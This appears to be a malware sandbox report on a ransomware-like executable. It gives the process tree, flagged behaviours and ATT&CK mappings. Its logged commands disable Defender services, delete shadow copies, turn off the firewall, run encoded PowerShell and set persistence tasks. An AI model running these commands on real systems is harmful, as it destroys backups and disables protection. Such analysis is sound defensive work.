PID 4532 wrote to memory of 5940	4532	net.exe	147
PID 616 wrote to memory of 5356	616	grafme.com_chrome.exe	150
PID 616 wrote to memory of 3420	616	grafme.com_chrome.exe	152
PID 616 wrote to memory of 4784	616	grafme.com_chrome.exe	153
PID 616 wrote to memory of 5188	616	grafme.com_chrome.exe	154
PID 616 wrote to memory of 3932	616	grafme.com_chrome.exe	155
PID 616 wrote to memory of 5692	616	grafme.com_chrome.exe	156
PID 616 wrote to memory of 5056	616	grafme.com_chrome.exe	157
PID 616 wrote to memory of 3908	616	grafme.com_chrome.exe	163
PID 616 wrote to memory of 2532	616	grafme.com_chrome.exe	160
PID 616 wrote to memory of 1812	616	grafme.com_chrome.exe	199
PID 616 wrote to memory of 5324	616	grafme.com_chrome.exe	169
PID 5056 wrote to memory of 1372	5056	cmd.exe	171
PID 5356 wrote to memory of 3120	5356	cmd.exe	172
PID 3420 wrote to memory of 5656	3420	cmd.exe	173
PID 4784 wrote to memory of 1408	4784	cmd.exe	174
PID 5692 wrote to memory of 3088	5692	cmd.exe	175
PID 3932 wrote to memory of 5428	3932	cmd.exe	176
PID 5188 wrote to memory of 5128	5188	cmd.exe	177
PID 5428 wrote to memory of 1944	5428	net.exe	178
PID 5356 wrote to memory of 4320	5356	cmd.exe	179
PID 1596 wrote to memory of 4988	1596	chrome.exe	181
PID 1596 wrote to memory of 1428	1596	chrome.exe	183
PID 1596 wrote to memory of 308	1596	chrome.exe	182
PID 1596 wrote to memory of 1428	1596	chrome.exe	183
PID 1596 wrote to memory of 308	1596	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:616
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://grafme.com
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffc14c7c728,0x7ffc14c7c734,0x7ffc14c7c740
    3⤵
    PID:552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,5716484507931601278,9006528047129928469,262144 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
    3⤵
    PID:628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2172,i,290026950820727494,8170067691982016524,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=2176 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2304,i,15368788615089228025,16021690155998714916,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:13
    3⤵
    PID:2812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3112,i,12320188482325307740,3520395337791413909,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:1
    3⤵
    PID:4332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3120,i,7538377847008735686,988251168196584270,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:1
    3⤵
    PID:5900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5144,i,4549091655274151183,12907228335331720069,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:14
    3⤵
    PID:6100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5324,i,18328983994490855121,15660517975960473916,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:1
    3⤵
    PID:5664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3224,i,4106928389887436807,14435398816129778687,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:14
    3⤵
    PID:4988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5232,i,7233040671814120786,13122597105573825867,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:1
    3⤵
    PID:308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5164,i,8902194785929443505,12757563481310348706,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:1
    3⤵
    PID:1428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5864,i,8874419802598475820,17473394013610858820,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:1
    3⤵
    PID:6084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6024,i,11674329036946521130,6332644607596506907,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:14
    3⤵
    PID:260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5768,i,6809213206578625147,12415555673528963032,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    PID:5012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5668,i,7207568455749990074,17602960987818186729,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:14
    3⤵
    PID:6108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6084,i,13631210264082620180,8565224153298783179,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:1
    3⤵
    PID:1736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5204,i,9797943671885379375,4575722694293155511,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:2280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=3048,i,1665821525121770738,10269693509314016769,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:1
    3⤵
    PID:5104
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5164,i,12329215641180611974,18260838773235309633,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:14
    3⤵
    PID:4468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5568,i,6703334152555373339,10632698267838182072,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:1
    3⤵
    PID:5704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5312,i,5830666270146552041,15074945506400715598,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=4548 /prefetch:9
    3⤵
    PID:5492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5244,i,3130743089343037858,14419681200656519990,2097152 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:1
    3⤵
    PID:1920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3300,i,2473876183518303242,16898188136901130683,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:14
    3⤵
    PID:1812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3268,i,13820338778515112563,378538893043757539,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:14
    3⤵
    PID:4172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5196,i,987453391607700649,3712625008068297144,524288 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:14
    3⤵
    PID:4252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5688,i,11286998812608028506,13592362638759691738,262144 --field-trial-handle=1900,i,6825714461839826956,17201462721827336710,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:10
    3⤵
    PID:5160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:252
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4400
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5664
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3388
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4112
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1632
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4292
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:828
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe"
    3⤵
    PID:4172
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4692
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1572
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5416
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5324
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3144
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5652
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4924
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1448
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4084
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5940
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5356
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3120
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5656
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1408
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5188
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3932
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5428
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5692
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3088
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1372
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2532
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3908
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1812
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5324

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5652

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3688

C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe
1⤵
PID:4944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4556

C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\grafme.com_chrome.exe
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery